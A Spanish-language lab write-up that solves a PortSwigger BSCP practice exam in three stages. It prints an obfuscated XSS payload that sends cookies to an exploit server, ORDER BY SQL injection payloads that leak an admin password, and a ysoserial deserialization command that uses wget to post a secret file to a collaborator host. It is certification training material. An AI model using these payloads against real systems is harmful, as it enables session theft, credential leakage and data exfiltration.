> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# Resolución del examen de práctica 1 de BSCP

## Etapa 1: Acceso inicial (Secuencias de comandos entre sitios - XSS)

Objetivo: panel de investigación. Vector: inyección de JavaScript a través del DOM dentro de un objeto JSON.

#### 1. Análisis del sitio de inyección

El término de búsqueda se refleja en una variable de JavaScript:

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. Evasión del WAF y exfiltración

El uso directo de `document.cookie` activa el WAF ("Término de búsqueda potencialmente peligroso"). Para eludirlo, se utiliza codificación hexadecimal/unicode o `por` se utiliza la función.

Carga útil de prueba (evasión):

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

Carga útil final (exfiltración mediante Collaborator):

* Usamos `eval(atob(...))` para ocultar la `fetch` solicitud a nuestro servidor de explotación.

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. Explotación final (entregada a la víctima)

El script redirige a la víctima a la URL maliciosa que contiene la carga útil inyectada:

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## Etapa 2: Escalada de privilegios (inyección SQL)

Vector: inyección SQL en `ORDER BY` parámetro

#### 1. Identificación de la base de datos

El error generado por una cadena sin cerrar confirma una posible inyección. Se prueban cargas útiles basadas en tiempo para identificar el motor:

* PostgreSQL (objetivo): `DATE,pg_sleep(10)`
* Error encontrado: `no se pudo identificar un operador de ordenación para el tipo void`.
* Causa: `pg_sleep()` devuelve `void`, que no puede ordenarse por `ORDER BY`.

#### 2. Extracción de datos (basada en errores)

Para extraer la contraseña del administrador, se fuerza un error de conversión de tipo (CAST) para mostrar los datos en el mensaje de error.

Carga útil : `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

Resultado: el error revela la contraseña: `sintaxis de entrada no válida para el tipo integer: "b235d711d5858825"`

<figure><img src="/files/bd0fd674a3361198775e336fb5802e44b866c4c6" alt=""><figcaption></figcaption></figure>

### Etapa 3: Acceso al sistema de archivos (deserialización de Java)

Objetivo: acceder al sistema de archivos (exfiltración de `secreto` archivo).

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. Análisis de la cookie

Una vez conectados como administrador, observamos la `admin-prefs` cookie.

* Formato: codificado en URL -> Base64 -> Gzip -> objeto Java serializado.

<figure><img src="/files/8a6d243b8f60cbf66c6c3b9b7131f75303efbaca" alt=""><figcaption></figcaption></figure>

#### 2. Explotación (Ysoserial)

La aplicación utiliza una biblioteca vulnerable (CommonsCollections). Tras probar las distintas versiones (1 a 8), la versión CommonsCollections6 funciona.

<figure><img src="/files/5311efcf9718c471c4fc06d44469b03e9a4dac34" alt=""><figcaption></figcaption></figure>

#### 3. Carga útil de exfiltración

Generamos una carga útil para enviar el contenido del `/home/carlos/secret` archivo a nuestro servidor Collaborator mediante una solicitud POST:

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* Procedimiento: comprimir el binario en Gzip -> codificar en Base64 -> reemplazar el valor en `admin-prefs` cookie.

<figure><img src="/files/03b7af48fad163aa79e552a755d5826c1118379f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
